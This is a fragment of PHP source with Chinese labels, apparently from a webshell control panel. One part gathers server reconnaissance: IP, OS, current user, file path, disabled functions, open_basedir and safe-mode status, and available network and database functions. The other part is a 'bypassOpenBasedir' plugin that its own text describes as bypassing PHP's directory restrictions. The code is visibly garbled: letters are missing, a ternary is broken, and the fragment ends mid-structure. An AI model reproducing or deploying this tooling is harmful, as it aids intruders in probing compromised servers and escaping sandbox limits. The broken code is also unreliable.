$info = array(
array("服务器时间", date("Y年m月d日 h:i:s", time())),
array("服务器域名", "<a href=\"http://" . $_SERVER['SERVER_NAME'] . "\" target=\"_blank\">" . $_SERVER['SERVER_NAME'] . "</a>"),
array("服务器IP地址", $_SERVER['SERVER_ADDR']),
array("服务器操作系统", PHP_OS),
array("服务器操作系统文字编码", $_SERVER['HTTP_ACCEPT_LANGUAGE']),
array("服务器解译引擎", $_SERVER['SERVER_SOFTWARE']),
array("当前用户",get_current_user()?get_current_user():"未知"),
array("你的IP", $_SERVER["REMOTE_ADDR"]),
array("Web服务端口", $_SERVER['SERVER_PORT']),
array(" HP运行方式", strtoupper(php_sapi_name())),
array(" HP版本", PHP_VERSION),
array("open_basedir",ini_get("open_basedir")?ini_get("open_basedir"):"NULL"),
array("运行于安全模式", Info_Cfg("safemode")),
array("服务器管理员", !$adminmail),
array("本文件路径", __FILE__),
array("允许使用 URL 打开文件 allow_url_fopen", Info_Cfg("allow_url_fopen")),
array("允许使用curl_exec", Info_Fun("curl_exec")),
array("允许动态加载链接库 enable_dl", Info_Cfg("enable_dl")),
array("显示错误信息 display_errors", Info_Cfg("display_errors")),
array("自动定义全局变量 register_globals", Info_Cfg("register_globals")),
array("magic_quotes_gpc", Info_Cfg("magic_quotes_gpc")),
array("程序最多允许使用内存量 memory_limit", Info_Cfg("memory_limit")),
array(" OST最大字节数 post_max_size", Info_Cfg("post_max_size")),
array("允许最大上传文件 upload_max_filesize", $upsize),
array("程序最长运行时间 max_execution_time", Info_Cfg("max_execution_time") . "秒"),
array("被禁用的函数 disable_functions", $dis_func),
array("phpinfo()", $phpinfo),
array("目前还有空余空间diskfreespace", intval(diskfreespace(".") / (1024 * 1024)) . 'Mb'),
array("图形处理 GD Library", Info_Fun("imageline")),
array("IMAP电子邮件系统", Info_Fun("imap_close")),
array("MySQL数据库", Info_Fun("mysqli_close")),
array("SyBase数据库", Info_Fun("sybase_close")),
array("Oracle数据库", Info_Fun("ora_close")),
array("Oracle 8 数据库", Info_Fun("OCILogOff")),
array(" REL相容语法 PCRE", Info_Fun("preg_match")),
array(" DF文档支持", Info_Fun("pdf_close")),
array(" ostgre SQL数据库", Info_Fun("pg_close")),
array("SNMP网络管理协议", Info_Fun("snmpget")),
array("压缩文件支持(Zlib)", Info_Fun("gzclose")),
array("XML解析", Info_Fun("xml_set_object")),
array("FTP", Info_Fun("ftp_login")),
array("ODBC数据库连接", Info_Fun("odbc_close")),
array("Session支持", Info_Fun("session_start")),
array("Socket支持", Info_Fun("fsockopen")),
);
case "bypassOpenBasedir":
$info = ini_get("open_basedir");
$pluginStatus = "未开启";
$dirStatus = empty($info)?"无此限制,无需启用本插件" info;
if(isset($_SESSION['bypass_open_basedir']))
$pluginStatus = "已开启";
if (isset($_POST['turn_on'])) {
$_SESSION['bypass_open_basedir'] = true;
$pluginStatus = "已开启";
}
if (isset($_POST['turn_off'])) {
unset($_SESSION['bypass_open_basedir']);
$pluginStatus = "未开启";
}
print_r(<<<EOF
<div class="actall">使用方法:<br>
本插件用来绕过php防跨目录限制<br><br>
当前open basedir状态 dirStatus<br>
当前插件状态 pluginStatus<br><br>
<form method=" OST">
<input type="submit" name="turn_on" value="开启" style="width:50px;"><br>
</form>
<br>
<form method=" OST">
<input type="submit" name="turn_off" value="关闭" style="width:50px;">
</form>
</div>
EOF
); |